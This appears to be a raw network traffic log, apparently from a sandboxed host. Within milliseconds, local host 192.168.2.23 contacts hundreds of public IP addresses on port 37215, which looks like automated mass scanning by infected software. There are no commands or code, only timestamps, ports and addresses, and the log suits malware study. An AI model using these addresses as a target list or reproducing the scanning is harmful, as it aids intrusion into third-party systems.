Feb 19, 2024 18:35:39.527708054 CET	54001	37215	192.168.2.23	41.191.159.39
Feb 19, 2024 18:35:39.527724981 CET	54001	37215	192.168.2.23	41.101.226.170
Feb 19, 2024 18:35:39.527745962 CET	54001	37215	192.168.2.23	41.105.223.226
Feb 19, 2024 18:35:39.527757883 CET	54001	37215	192.168.2.23	41.210.22.132
Feb 19, 2024 18:35:39.527781963 CET	54001	37215	192.168.2.23	41.241.226.145
Feb 19, 2024 18:35:39.527781963 CET	54001	37215	192.168.2.23	41.26.179.137
Feb 19, 2024 18:35:39.527796030 CET	54001	37215	192.168.2.23	41.20.232.206
Feb 19, 2024 18:35:39.527812004 CET	54001	37215	192.168.2.23	41.100.17.68
Feb 19, 2024 18:35:39.527827024 CET	54001	37215	192.168.2.23	41.0.8.174
Feb 19, 2024 18:35:39.527836084 CET	54001	37215	192.168.2.23	41.63.37.54
Feb 19, 2024 18:35:39.527853012 CET	54001	37215	192.168.2.23	41.40.31.161
Feb 19, 2024 18:35:39.527868986 CET	54001	37215	192.168.2.23	41.33.14.143
Feb 19, 2024 18:35:39.527884007 CET	54001	37215	192.168.2.23	41.2.121.114
Feb 19, 2024 18:35:39.527899981 CET	54001	37215	192.168.2.23	41.135.50.98
Feb 19, 2024 18:35:39.527916908 CET	54001	37215	192.168.2.23	41.77.133.14
Feb 19, 2024 18:35:39.527926922 CET	54001	37215	192.168.2.23	41.232.103.36
Feb 19, 2024 18:35:39.527940035 CET	54001	37215	192.168.2.23	41.253.185.18
Feb 19, 2024 18:35:39.527952909 CET	54001	37215	192.168.2.23	41.138.233.3
Feb 19, 2024 18:35:39.527967930 CET	54001	37215	192.168.2.23	41.193.61.116
Feb 19, 2024 18:35:39.527997017 CET	54001	37215	192.168.2.23	41.83.225.21
Feb 19, 2024 18:35:39.528021097 CET	54001	37215	192.168.2.23	41.109.7.203
Feb 19, 2024 18:35:39.528023005 CET	54001	37215	192.168.2.23	41.228.27.189
Feb 19, 2024 18:35:39.528023005 CET	54001	37215	192.168.2.23	41.80.228.47
Feb 19, 2024 18:35:39.528036118 CET	54001	37215	192.168.2.23	41.203.199.174
Feb 19, 2024 18:35:39.528049946 CET	54001	37215	192.168.2.23	41.218.237.165
Feb 19, 2024 18:35:39.528069019 CET	54001	37215	192.168.2.23	41.55.247.184
Feb 19, 2024 18:35:39.528079987 CET	54001	37215	192.168.2.23	41.99.208.251
Feb 19, 2024 18:35:39.528091908 CET	54001	37215	192.168.2.23	41.59.251.36
Feb 19, 2024 18:35:39.528107882 CET	54001	37215	192.168.2.23	41.196.255.78
Feb 19, 2024 18:35:39.528126001 CET	54001	37215	192.168.2.23	41.25.167.46
Feb 19, 2024 18:35:39.528135061 CET	54001	37215	192.168.2.23	41.3.199.224
Feb 19, 2024 18:35:39.528156042 CET	54001	37215	192.168.2.23	41.105.198.234
Feb 19, 2024 18:35:39.528156042 CET	54001	37215	192.168.2.23	41.48.111.1
Feb 19, 2024 18:35:39.528175116 CET	54001	37215	192.168.2.23	41.8.71.200
Feb 19, 2024 18:35:39.528202057 CET	54001	37215	192.168.2.23	41.87.4.95
Feb 19, 2024 18:35:39.528218031 CET	54001	37215	192.168.2.23	41.182.51.150
Feb 19, 2024 18:35:39.528228998 CET	54001	37215	192.168.2.23	41.155.31.39
Feb 19, 2024 18:35:39.528228998 CET	54001	37215	192.168.2.23	41.17.219.245
Feb 19, 2024 18:35:39.528247118 CET	54001	37215	192.168.2.23	41.17.23.218
Feb 19, 2024 18:35:39.528289080 CET	54001	37215	192.168.2.23	41.81.54.170
Feb 19, 2024 18:35:39.528290033 CET	54001	37215	192.168.2.23	41.244.62.15
Feb 19, 2024 18:35:39.528291941 CET	54001	37215	192.168.2.23	41.178.72.245
Feb 19, 2024 18:35:39.528306007 CET	54001	37215	192.168.2.23	41.88.234.148
Feb 19, 2024 18:35:39.528315067 CET	54001	37215	192.168.2.23	41.72.78.135
Feb 19, 2024 18:35:39.528337955 CET	54001	37215	192.168.2.23	41.18.36.79
Feb 19, 2024 18:35:39.528343916 CET	54001	37215	192.168.2.23	41.159.97.173
Feb 19, 2024 18:35:39.528356075 CET	54001	37215	192.168.2.23	41.17.51.3
Feb 19, 2024 18:35:39.528372049 CET	54001	37215	192.168.2.23	41.9.205.33
Feb 19, 2024 18:35:39.528390884 CET	54001	37215	192.168.2.23	41.112.248.187
Feb 19, 2024 18:35:39.528410912 CET	54001	37215	192.168.2.23	41.219.85.230
Feb 19, 2024 18:35:39.528418064 CET	54001	37215	192.168.2.23	41.72.91.89
Feb 19, 2024 18:35:39.528434038 CET	54001	37215	192.168.2.23	41.53.53.79
Feb 19, 2024 18:35:39.528446913 CET	54001	37215	192.168.2.23	41.145.175.58
Feb 19, 2024 18:35:39.528464079 CET	54001	37215	192.168.2.23	41.141.121.94
Feb 19, 2024 18:35:39.528479099 CET	54001	37215	192.168.2.23	41.31.195.2
Feb 19, 2024 18:35:39.528486013 CET	54001	37215	192.168.2.23	41.171.58.13
Feb 19, 2024 18:35:39.528506041 CET	54001	37215	192.168.2.23	41.128.160.96
Feb 19, 2024 18:35:39.528520107 CET	54001	37215	192.168.2.23	41.8.214.203
Feb 19, 2024 18:35:39.528533936 CET	54001	37215	192.168.2.23	41.44.126.218
Feb 19, 2024 18:35:39.528554916 CET	54001	37215	192.168.2.23	41.27.212.242
Feb 19, 2024 18:35:39.528567076 CET	54001	37215	192.168.2.23	41.221.239.141
Feb 19, 2024 18:35:39.528584003 CET	54001	37215	192.168.2.23	41.151.108.187
Feb 19, 2024 18:35:39.528594971 CET	54001	37215	192.168.2.23	41.44.108.16
Feb 19, 2024 18:35:39.528611898 CET	54001	37215	192.168.2.23	41.247.65.139
Feb 19, 2024 18:35:39.528633118 CET	54001	37215	192.168.2.23	41.128.213.218
Feb 19, 2024 18:35:39.528635979 CET	54001	37215	192.168.2.23	41.70.211.99
Feb 19, 2024 18:35:39.528649092 CET	54001	37215	192.168.2.23	41.84.92.222
Feb 19, 2024 18:35:39.528665066 CET	54001	37215	192.168.2.23	41.142.157.149
Feb 19, 2024 18:35:39.528675079 CET	54001	37215	192.168.2.23	41.153.86.251
Feb 19, 2024 18:35:39.528692007 CET	54001	37215	192.168.2.23	41.252.38.252
Feb 19, 2024 18:35:39.528713942 CET	54001	37215	192.168.2.23	41.22.218.228
Feb 19, 2024 18:35:39.528719902 CET	54001	37215	192.168.2.23	41.145.13.5
Feb 19, 2024 18:35:39.528736115 CET	54001	37215	192.168.2.23	41.43.12.242
Feb 19, 2024 18:35:39.528758049 CET	54001	37215	192.168.2.23	41.227.250.86
Feb 19, 2024 18:35:39.528758049 CET	54001	37215	192.168.2.23	41.47.69.171
Feb 19, 2024 18:35:39.528780937 CET	54001	37215	192.168.2.23	41.238.251.142
Feb 19, 2024 18:35:39.528791904 CET	54001	37215	192.168.2.23	41.100.213.15
Feb 19, 2024 18:35:39.528810024 CET	54001	37215	192.168.2.23	41.132.239.140
Feb 19, 2024 18:35:39.528825998 CET	54001	37215	192.168.2.23	41.59.246.226
Feb 19, 2024 18:35:39.528839111 CET	54001	37215	192.168.2.23	41.20.220.87
Feb 19, 2024 18:35:39.528856039 CET	54001	37215	192.168.2.23	41.151.104.118
Feb 19, 2024 18:35:39.528867960 CET	54001	37215	192.168.2.23	41.221.166.122
Feb 19, 2024 18:35:39.528883934 CET	54001	37215	192.168.2.23	41.214.172.243
Feb 19, 2024 18:35:39.528911114 CET	54001	37215	192.168.2.23	41.16.70.50
Feb 19, 2024 18:35:39.528912067 CET	54001	37215	192.168.2.23	41.166.121.2
Feb 19, 2024 18:35:39.528937101 CET	54001	37215	192.168.2.23	41.151.208.191
Feb 19, 2024 18:35:39.528950930 CET	54001	37215	192.168.2.23	41.45.223.155
Feb 19, 2024 18:35:39.528979063 CET	54001	37215	192.168.2.23	41.124.3.93
Feb 19, 2024 18:35:39.528979063 CET	54001	37215	192.168.2.23	41.141.5.37
Feb 19, 2024 18:35:39.528990984 CET	54001	37215	192.168.2.23	41.146.111.176
Feb 19, 2024 18:35:39.529007912 CET	54001	37215	192.168.2.23	41.6.236.90
Feb 19, 2024 18:35:39.529010057 CET	54001	37215	192.168.2.23	41.218.226.71
Feb 19, 2024 18:35:39.529023886 CET	54001	37215	192.168.2.23	41.14.146.72
Feb 19, 2024 18:35:39.529043913 CET	54001	37215	192.168.2.23	41.10.210.66
Feb 19, 2024 18:35:39.529047966 CET	54001	37215	192.168.2.23	41.185.30.33
Feb 19, 2024 18:35:39.529064894 CET	54001	37215	192.168.2.23	41.26.230.99
Feb 19, 2024 18:35:39.529073954 CET	54001	37215	192.168.2.23	41.51.10.94
Feb 19, 2024 18:35:39.529087067 CET	54001	37215	192.168.2.23	41.199.253.35
Feb 19, 2024 18:35:39.529098034 CET	54001	37215	192.168.2.23	41.180.79.197
Feb 19, 2024 18:35:39.529131889 CET	54001	37215	192.168.2.23	41.152.192.154
Feb 19, 2024 18:35:39.529131889 CET	54001	37215	192.168.2.23	41.4.60.65
Feb 19, 2024 18:35:39.529141903 CET	54001	37215	192.168.2.23	41.152.248.227
Feb 19, 2024 18:35:39.529153109 CET	54001	37215	192.168.2.23	41.72.201.218
Feb 19, 2024 18:35:39.529172897 CET	54001	37215	192.168.2.23	41.78.132.175
Feb 19, 2024 18:35:39.529184103 CET	54001	37215	192.168.2.23	41.18.75.224
Feb 19, 2024 18:35:39.529201031 CET	54001	37215	192.168.2.23	41.97.130.57
Feb 19, 2024 18:35:39.529215097 CET	54001	37215	192.168.2.23	41.243.191.85
Feb 19, 2024 18:35:39.529233932 CET	54001	37215	192.168.2.23	41.194.96.18
Feb 19, 2024 18:35:39.529238939 CET	54001	37215	192.168.2.23	41.185.192.148
Feb 19, 2024 18:35:39.529254913 CET	54001	37215	192.168.2.23	41.123.110.155
Feb 19, 2024 18:35:39.529273033 CET	54001	37215	192.168.2.23	41.98.254.91
Feb 19, 2024 18:35:39.529288054 CET	54001	37215	192.168.2.23	41.182.242.99
Feb 19, 2024 18:35:39.529299021 CET	54001	37215	192.168.2.23	41.68.240.13
Feb 19, 2024 18:35:39.529314995 CET	54001	37215	192.168.2.23	41.81.144.9
Feb 19, 2024 18:35:39.529326916 CET	54001	37215	192.168.2.23	41.193.12.191
Feb 19, 2024 18:35:39.529340029 CET	54001	37215	192.168.2.23	41.82.179.243
Feb 19, 2024 18:35:39.529351950 CET	54001	37215	192.168.2.23	41.125.77.149
Feb 19, 2024 18:35:39.529362917 CET	54001	37215	192.168.2.23	41.42.189.147
Feb 19, 2024 18:35:39.529381990 CET	54001	37215	192.168.2.23	41.229.181.153
Feb 19, 2024 18:35:39.529391050 CET	54001	37215	192.168.2.23	41.226.245.152
Feb 19, 2024 18:35:39.529408932 CET	54001	37215	192.168.2.23	41.205.170.190
Feb 19, 2024 18:35:39.529443979 CET	54001	37215	192.168.2.23	41.92.98.82
Feb 19, 2024 18:35:39.529444933 CET	54001	37215	192.168.2.23	41.210.171.4
Feb 19, 2024 18:35:39.529450893 CET	54001	37215	192.168.2.23	41.248.68.182
Feb 19, 2024 18:35:39.529469967 CET	54001	37215	192.168.2.23	41.179.132.27
Feb 19, 2024 18:35:39.529474020 CET	54001	37215	192.168.2.23	41.216.84.88
Feb 19, 2024 18:35:39.529488087 CET	54001	37215	192.168.2.23	41.17.175.54
Feb 19, 2024 18:35:39.529499054 CET	54001	37215	192.168.2.23	41.201.174.18
Feb 19, 2024 18:35:39.529525042 CET	54001	37215	192.168.2.23	41.182.94.167
Feb 19, 2024 18:35:39.529535055 CET	54001	37215	192.168.2.23	41.186.182.158
Feb 19, 2024 18:35:39.529547930 CET	54001	37215	192.168.2.23	41.45.82.56
Feb 19, 2024 18:35:39.529547930 CET	54001	37215	192.168.2.23	41.40.124.229
Feb 19, 2024 18:35:39.529563904 CET	54001	37215	192.168.2.23	41.111.208.212
Feb 19, 2024 18:35:39.529576063 CET	54001	37215	192.168.2.23	41.169.238.68
Feb 19, 2024 18:35:39.529592037 CET	54001	37215	192.168.2.23	41.94.124.40
Feb 19, 2024 18:35:39.529608011 CET	54001	37215	192.168.2.23	41.40.225.209
Feb 19, 2024 18:35:39.529628992 CET	54001	37215	192.168.2.23	41.139.48.254
Feb 19, 2024 18:35:39.529629946 CET	54001	37215	192.168.2.23	41.133.243.82
Feb 19, 2024 18:35:39.529648066 CET	54001	37215	192.168.2.23	41.74.192.8
Feb 19, 2024 18:35:39.529660940 CET	54001	37215	192.168.2.23	41.193.2.9
Feb 19, 2024 18:35:39.529689074 CET	54001	37215	192.168.2.23	41.139.81.152
Feb 19, 2024 18:35:39.529700041 CET	54001	37215	192.168.2.23	41.8.173.110
Feb 19, 2024 18:35:39.529700994 CET	54001	37215	192.168.2.23	41.90.129.98
Feb 19, 2024 18:35:39.529717922 CET	54001	37215	192.168.2.23	41.101.16.249
Feb 19, 2024 18:35:39.529742956 CET	54001	37215	192.168.2.23	41.72.21.78
Feb 19, 2024 18:35:39.529757977 CET	54001	37215	192.168.2.23	41.131.27.215
Feb 19, 2024 18:35:39.529773951 CET	54001	37215	192.168.2.23	41.250.129.130
Feb 19, 2024 18:35:39.529786110 CET	54001	37215	192.168.2.23	41.100.9.161
Feb 19, 2024 18:35:39.529786110 CET	54001	37215	192.168.2.23	41.118.197.245
Feb 19, 2024 18:35:39.529798031 CET	54001	37215	192.168.2.23	41.190.181.34
Feb 19, 2024 18:35:39.529843092 CET	54001	37215	192.168.2.23	41.52.139.129
Feb 19, 2024 18:35:39.529850960 CET	54001	37215	192.168.2.23	41.19.8.111
Feb 19, 2024 18:35:39.529850960 CET	54001	37215	192.168.2.23	41.44.142.81
Feb 19, 2024 18:35:39.529867887 CET	54001	37215	192.168.2.23	41.29.212.133
Feb 19, 2024 18:35:39.529882908 CET	54001	37215	192.168.2.23	41.113.14.94
Feb 19, 2024 18:35:39.529896021 CET	54001	37215	192.168.2.23	41.137.217.41
Feb 19, 2024 18:35:39.529901028 CET	54001	37215	192.168.2.23	41.39.76.5
Feb 19, 2024 18:35:39.529911995 CET	54001	37215	192.168.2.23	41.90.110.111
Feb 19, 2024 18:35:39.529925108 CET	54001	37215	192.168.2.23	41.90.223.151
Feb 19, 2024 18:35:39.529934883 CET	54001	37215	192.168.2.23	41.150.63.193
Feb 19, 2024 18:35:39.529962063 CET	54001	37215	192.168.2.23	41.118.167.186
Feb 19, 2024 18:35:39.529964924 CET	54001	37215	192.168.2.23	41.172.120.143
Feb 19, 2024 18:35:39.529979944 CET	54001	37215	192.168.2.23	41.199.242.217
Feb 19, 2024 18:35:39.529994965 CET	54001	37215	192.168.2.23	41.128.230.102
Feb 19, 2024 18:35:39.530014038 CET	54001	37215	192.168.2.23	41.180.29.157
Feb 19, 2024 18:35:39.530021906 CET	54001	37215	192.168.2.23	41.109.213.189
Feb 19, 2024 18:35:39.530035973 CET	54001	37215	192.168.2.23	41.225.203.218
Feb 19, 2024 18:35:39.530052900 CET	54001	37215	192.168.2.23	41.154.149.56
Feb 19, 2024 18:35:39.530067921 CET	54001	37215	192.168.2.23	41.23.103.40
Feb 19, 2024 18:35:39.530083895 CET	54001	37215	192.168.2.23	41.187.105.84
Feb 19, 2024 18:35:39.530095100 CET	54001	37215	192.168.2.23	41.92.97.240
Feb 19, 2024 18:35:39.530107021 CET	54001	37215	192.168.2.23	41.9.214.253
Feb 19, 2024 18:35:39.530117989 CET	54001	37215	192.168.2.23	41.166.151.133
Feb 19, 2024 18:35:39.530132055 CET	54001	37215	192.168.2.23	41.23.87.192
Feb 19, 2024 18:35:39.530149937 CET	54001	37215	192.168.2.23	41.14.93.202
Feb 19, 2024 18:35:39.530164957 CET	54001	37215	192.168.2.23	41.136.42.32
Feb 19, 2024 18:35:39.530190945 CET	54001	37215	192.168.2.23	41.201.2.31
Feb 19, 2024 18:35:39.530194044 CET	54001	37215	192.168.2.23	41.52.74.207
Feb 19, 2024 18:35:39.530205965 CET	54001	37215	192.168.2.23	41.17.227.112
Feb 19, 2024 18:35:39.530220032 CET	54001	37215	192.168.2.23	41.248.1.221
Feb 19, 2024 18:35:39.530232906 CET	54001	37215	192.168.2.23	41.75.210.196
Feb 19, 2024 18:35:39.530245066 CET	54001	37215	192.168.2.23	41.127.142.229
Feb 19, 2024 18:35:39.530258894 CET	54001	37215	192.168.2.23	41.38.2.131
Feb 19, 2024 18:35:39.530271053 CET	54001	37215	192.168.2.23	41.137.98.240
Feb 19, 2024 18:35:39.530286074 CET	54001	37215	192.168.2.23	41.234.81.127
Feb 19, 2024 18:35:39.530304909 CET	54001	37215	192.168.2.23	41.102.138.219
Feb 19, 2024 18:35:39.530320883 CET	54001	37215	192.168.2.23	41.73.244.79
Feb 19, 2024 18:35:39.530335903 CET	54001	37215	192.168.2.23	41.53.136.224
Feb 19, 2024 18:35:39.530342102 CET	54001	37215	192.168.2.23	41.128.230.133
Feb 19, 2024 18:35:39.530354977 CET	54001	37215	192.168.2.23	41.94.65.178
Feb 19, 2024 18:35:39.530380964 CET	54001	37215	192.168.2.23	41.151.226.127
Feb 19, 2024 18:35:39.530395985 CET	54001	37215	192.168.2.23	41.48.133.126
Feb 19, 2024 18:35:39.530417919 CET	54001	37215	192.168.2.23	41.216.51.145
Feb 19, 2024 18:35:39.530422926 CET	54001	37215	192.168.2.23	41.104.198.153
Feb 19, 2024 18:35:39.530426979 CET	54001	37215	192.168.2.23	41.248.176.255
Feb 19, 2024 18:35:39.530431032 CET	54001	37215	192.168.2.23	41.201.57.88
Feb 19, 2024 18:35:39.530446053 CET	54001	37215	192.168.2.23	41.50.2.140
Feb 19, 2024 18:35:39.530457020 CET	54001	37215	192.168.2.23	41.6.162.115
Feb 19, 2024 18:35:39.530478001 CET	54001	37215	192.168.2.23	41.46.237.153
Feb 19, 2024 18:35:39.530503035 CET	54001	37215	192.168.2.23	41.161.104.244
Feb 19, 2024 18:35:39.530517101 CET	54001	37215	192.168.2.23	41.125.81.22
Feb 19, 2024 18:35:39.530530930 CET	54001	37215	192.168.2.23	41.85.124.149
Feb 19, 2024 18:35:39.530545950 CET	54001	37215	192.168.2.23	41.73.130.36
Feb 19, 2024 18:35:39.530546904 CET	54001	37215	192.168.2.23	41.194.40.120
Feb 19, 2024 18:35:39.530561924 CET	54001	37215	192.168.2.23	41.67.175.82
Feb 19, 2024 18:35:39.530580044 CET	54001	37215	192.168.2.23	41.164.54.196
Feb 19, 2024 18:35:39.530591965 CET	54001	37215	192.168.2.23	41.24.17.178
Feb 19, 2024 18:35:39.530622959 CET	54001	37215	192.168.2.23	41.39.194.126
Feb 19, 2024 18:35:39.530636072 CET	54001	37215	192.168.2.23	41.213.114.43
Feb 19, 2024 18:35:39.530646086 CET	54001	37215	192.168.2.23	41.1.177.84
Feb 19, 2024 18:35:39.530656099 CET	54001	37215	192.168.2.23	41.204.198.160
Feb 19, 2024 18:35:39.530675888 CET	54001	37215	192.168.2.23	41.68.192.111
Feb 19, 2024 18:35:39.530690908 CET	54001	37215	192.168.2.23	41.104.193.196
Feb 19, 2024 18:35:39.530703068 CET	54001	37215	192.168.2.23	41.123.166.37
Feb 19, 2024 18:35:39.530714989 CET	54001	37215	192.168.2.23	41.171.7.63
Feb 19, 2024 18:35:39.530730009 CET	54001	37215	192.168.2.23	41.197.224.17
Feb 19, 2024 18:35:39.530745029 CET	54001	37215	192.168.2.23	41.253.173.140
Feb 19, 2024 18:35:39.530762911 CET	54001	37215	192.168.2.23	41.252.50.191
Feb 19, 2024 18:35:39.530762911 CET	54001	37215	192.168.2.23	41.206.63.240
Feb 19, 2024 18:35:39.530785084 CET	54001	37215	192.168.2.23	41.250.36.19
Feb 19, 2024 18:35:39.530792952 CET	54001	37215	192.168.2.23	41.69.29.208
Feb 19, 2024 18:35:39.530812025 CET	54001	37215	192.168.2.23	41.57.218.57
Feb 19, 2024 18:35:39.530829906 CET	54001	37215	192.168.2.23	41.16.137.54
Feb 19, 2024 18:35:39.530842066 CET	54001	37215	192.168.2.23	41.106.199.30
Feb 19, 2024 18:35:39.530869961 CET	54001	37215	192.168.2.23	41.164.235.100
Feb 19, 2024 18:35:39.530889988 CET	54001	37215	192.168.2.23	41.21.85.146
Feb 19, 2024 18:35:39.530893087 CET	54001	37215	192.168.2.23	41.249.63.56
Feb 19, 2024 18:35:39.530908108 CET	54001	37215	192.168.2.23	41.19.199.121
Feb 19, 2024 18:35:39.530919075 CET	54001	37215	192.168.2.23	41.242.161.186
Feb 19, 2024 18:35:39.530929089 CET	54001	37215	192.168.2.23	41.218.69.60
Feb 19, 2024 18:35:39.530941010 CET	54001	37215	192.168.2.23	41.222.7.28
Feb 19, 2024 18:35:39.530951977 CET	54001	37215	192.168.2.23	41.249.124.99
Feb 19, 2024 18:35:39.530968904 CET	54001	37215	192.168.2.23	41.2.157.233
Feb 19, 2024 18:35:39.530981064 CET	54001	37215	192.168.2.23	41.220.253.235
Feb 19, 2024 18:35:39.530997038 CET	54001	37215	192.168.2.23	41.5.230.112
Feb 19, 2024 18:35:39.531019926 CET	54001	37215	192.168.2.23	41.88.16.91
Feb 19, 2024 18:35:39.531023979 CET	54001	37215	192.168.2.23	41.14.48.16
Feb 19, 2024 18:35:39.531042099 CET	54001	37215	192.168.2.23	41.85.123.225
Feb 19, 2024 18:35:39.531052113 CET	54001	37215	192.168.2.23	41.153.11.216
Feb 19, 2024 18:35:39.531064034 CET	54001	37215	192.168.2.23	41.218.237.87
Feb 19, 2024 18:35:39.531074047 CET	54001	37215	192.168.2.23	41.212.87.94
Feb 19, 2024 18:35:39.531086922 CET	54001	37215	192.168.2.23	41.74.94.34
Feb 19, 2024 18:35:39.531112909 CET	54001	37215	192.168.2.23	41.142.41.131
Feb 19, 2024 18:35:39.531112909 CET	54001	37215	192.168.2.23	41.245.86.178
Feb 19, 2024 18:35:39.531137943 CET	54001	37215	192.168.2.23	41.21.229.196
Feb 19, 2024 18:35:39.531143904 CET	54001	37215	192.168.2.23	41.8.217.241
Feb 19, 2024 18:35:39.531161070 CET	54001	37215	192.168.2.23	41.226.193.135
Feb 19, 2024 18:35:39.531176090 CET	54001	37215	192.168.2.23	41.2.76.107
Feb 19, 2024 18:35:39.531204939 CET	54001	37215	192.168.2.23	41.248.39.159
Feb 19, 2024 18:35:39.531222105 CET	54001	37215	192.168.2.23	41.43.238.199
Feb 19, 2024 18:35:39.531236887 CET	54001	37215	192.168.2.23	41.147.96.134
Feb 19, 2024 18:35:39.531239033 CET	54001	37215	192.168.2.23	41.5.236.69
Feb 19, 2024 18:35:39.531250000 CET	54001	37215	192.168.2.23	41.21.94.16
Feb 19, 2024 18:35:39.531260967 CET	54001	37215	192.168.2.23	41.60.27.128
Feb 19, 2024 18:35:39.531277895 CET	54001	37215	192.168.2.23	41.225.166.35
Feb 19, 2024 18:35:39.531291962 CET	54001	37215	192.168.2.23	41.131.129.45
Feb 19, 2024 18:35:39.531313896 CET	54001	37215	192.168.2.23	41.143.219.80
Feb 19, 2024 18:35:39.531317949 CET	54001	37215	192.168.2.23	41.70.251.61
Feb 19, 2024 18:35:39.531337976 CET	54001	37215	192.168.2.23	41.207.252.213
Feb 19, 2024 18:35:39.531347036 CET	54001	37215	192.168.2.23	41.221.173.23
Feb 19, 2024 18:35:39.531359911 CET	54001	37215	192.168.2.23	41.89.10.227
Feb 19, 2024 18:35:39.531378031 CET	54001	37215	192.168.2.23	41.205.127.126
Feb 19, 2024 18:35:39.531403065 CET	54001	37215	192.168.2.23	41.153.47.95
Feb 19, 2024 18:35:39.531420946 CET	54001	37215	192.168.2.23	41.25.143.72
Feb 19, 2024 18:35:39.531421900 CET	54001	37215	192.168.2.23	41.64.79.213
Feb 19, 2024 18:35:39.531430006 CET	54001	37215	192.168.2.23	41.172.239.79
Feb 19, 2024 18:35:39.531440973 CET	54001	37215	192.168.2.23	41.151.61.206
Feb 19, 2024 18:35:39.531455994 CET	54001	37215	192.168.2.23	41.73.33.217
Feb 19, 2024 18:35:39.531469107 CET	54001	37215	192.168.2.23	41.230.82.81
Feb 19, 2024 18:35:39.531477928 CET	54001	37215	192.168.2.23	41.65.130.161
Feb 19, 2024 18:35:39.531505108 CET	54001	37215	192.168.2.23	41.66.88.183
Feb 19, 2024 18:35:39.531505108 CET	54001	37215	192.168.2.23	41.255.16.138
Feb 19, 2024 18:35:39.531519890 CET	54001	37215	192.168.2.23	41.70.192.115
Feb 19, 2024 18:35:39.531800985 CET	57704	37215	192.168.2.23	45.43.225.248
Feb 19, 2024 18:35:39.531858921 CET	35782	37215	192.168.2.23	45.42.88.243
Feb 19, 2024 18:35:39.704602003 CET	37215	54001	41.137.7.20	192.168.2.23
Feb 19, 2024 18:35:39.726242065 CET	37215	54001	41.180.152.206	192.168.2.23
Feb 19, 2024 18:35:39.750670910 CET	37215	54001	41.142.157.149	192.168.2.23
Feb 19, 2024 18:35:39.769562960 CET	37215	54001	41.90.222.246	192.168.2.23
Feb 19, 2024 18:35:39.769685984 CET	54001	37215	192.168.2.23	41.90.222.246
Feb 19, 2024 18:35:39.780230045 CET	37215	54001	41.207.252.213	192.168.2.23
Feb 19, 2024 18:35:39.810976982 CET	37215	54001	41.190.113.66	192.168.2.23
Feb 19, 2024 18:35:39.811180115 CET	37215	54001	41.218.90.241	192.168.2.23
Feb 19, 2024 18:35:39.834717989 CET	37215	54001	41.21.152.146	192.168.2.23
Feb 19, 2024 18:35:39.843727112 CET	37215	54001	41.72.127.82	192.168.2.23
Feb 19, 2024 18:35:39.853599072 CET	37215	54001	41.215.76.119	192.168.2.23
Feb 19, 2024 18:35:39.861223936 CET	37215	54001	41.223.73.167	192.168.2.23
Feb 19, 2024 18:35:39.871678114 CET	37215	54001	41.84.231.123	192.168.2.23
Feb 19, 2024 18:35:39.882075071 CET	37215	54001	41.175.202.51	192.168.2.23
Feb 19, 2024 18:35:39.897417068 CET	37215	54001	41.175.201.194	192.168.2.23
Feb 19, 2024 18:35:39.902792931 CET	37215	54001	41.174.86.27	192.168.2.23
Feb 19, 2024 18:35:39.922142982 CET	37215	54001	41.75.7.33	192.168.2.23
Feb 19, 2024 18:35:40.115756989 CET	37215	54001	41.63.37.54	192.168.2.23
Feb 19, 2024 18:35:40.306915998 CET	42836	443	192.168.2.23	91.189.91.43
Feb 19, 2024 18:35:40.533004045 CET	54001	37215	192.168.2.23	31.216.39.40
Feb 19, 2024 18:35:40.533027887 CET	54001	37215	192.168.2.23	31.25.73.149
Feb 19, 2024 18:35:40.533036947 CET	54001	37215	192.168.2.23	31.155.0.218
Feb 19, 2024 18:35:40.533052921 CET	54001	37215	192.168.2.23	31.72.19.69
Feb 19, 2024 18:35:40.533067942 CET	54001	37215	192.168.2.23	31.76.83.183
Feb 19, 2024 18:35:40.533070087 CET	54001	37215	192.168.2.23	31.92.30.133
Feb 19, 2024 18:35:40.533082008 CET	54001	37215	192.168.2.23	31.64.227.179
Feb 19, 2024 18:35:40.533103943 CET	54001	37215	192.168.2.23	31.175.206.106
Feb 19, 2024 18:35:40.533150911 CET	54001	37215	192.168.2.23	31.47.55.234
Feb 19, 2024 18:35:40.533153057 CET	54001	37215	192.168.2.23	31.176.139.204
Feb 19, 2024 18:35:40.533170938 CET	54001	37215	192.168.2.23	31.104.62.6
Feb 19, 2024 18:35:40.533180952 CET	54001	37215	192.168.2.23	31.31.56.80
Feb 19, 2024 18:35:40.533194065 CET	54001	37215	192.168.2.23	31.112.236.52
Feb 19, 2024 18:35:40.533231020 CET	54001	37215	192.168.2.23	31.181.22.6
Feb 19, 2024 18:35:40.533265114 CET	54001	37215	192.168.2.23	31.127.83.149
Feb 19, 2024 18:35:40.533273935 CET	54001	37215	192.168.2.23	31.123.2.173
Feb 19, 2024 18:35:40.533277988 CET	54001	37215	192.168.2.23	31.106.21.63
Feb 19, 2024 18:35:40.533287048 CET	54001	37215	192.168.2.23	31.143.102.8
Feb 19, 2024 18:35:40.533322096 CET	54001	37215	192.168.2.23	31.202.96.246
Feb 19, 2024 18:35:40.533344030 CET	54001	37215	192.168.2.23	31.5.11.202
Feb 19, 2024 18:35:40.533344984 CET	54001	37215	192.168.2.23	31.141.2.217
Feb 19, 2024 18:35:40.533361912 CET	54001	37215	192.168.2.23	31.117.142.198
Feb 19, 2024 18:35:40.533390045 CET	54001	37215	192.168.2.23	31.4.159.203
Feb 19, 2024 18:35:40.533417940 CET	54001	37215	192.168.2.23	31.238.136.26
Feb 19, 2024 18:35:40.533432961 CET	54001	37215	192.168.2.23	31.218.231.238
Feb 19, 2024 18:35:40.533463001 CET	54001	37215	192.168.2.23	31.156.175.216
Feb 19, 2024 18:35:40.533479929 CET	54001	37215	192.168.2.23	31.208.112.179
Feb 19, 2024 18:35:40.533509970 CET	54001	37215	192.168.2.23	31.34.146.199
Feb 19, 2024 18:35:40.533520937 CET	54001	37215	192.168.2.23	31.69.215.31
Feb 19, 2024 18:35:40.533533096 CET	54001	37215	192.168.2.23	31.20.57.242
Feb 19, 2024 18:35:40.533549070 CET	54001	37215	192.168.2.23	31.85.140.228
Feb 19, 2024 18:35:40.533590078 CET	54001	37215	192.168.2.23	31.126.78.24
Feb 19, 2024 18:35:40.533590078 CET	54001	37215	192.168.2.23	31.222.55.85
Feb 19, 2024 18:35:40.533612967 CET	54001	37215	192.168.2.23	31.217.120.85
Feb 19, 2024 18:35:40.533646107 CET	54001	37215	192.168.2.23	31.41.251.47
Feb 19, 2024 18:35:40.533672094 CET	54001	37215	192.168.2.23	31.70.22.248
Feb 19, 2024 18:35:40.533672094 CET	54001	37215	192.168.2.23	31.48.193.135
Feb 19, 2024 18:35:40.533682108 CET	54001	37215	192.168.2.23	31.174.152.33
Feb 19, 2024 18:35:40.533696890 CET	54001	37215	192.168.2.23	31.192.210.48
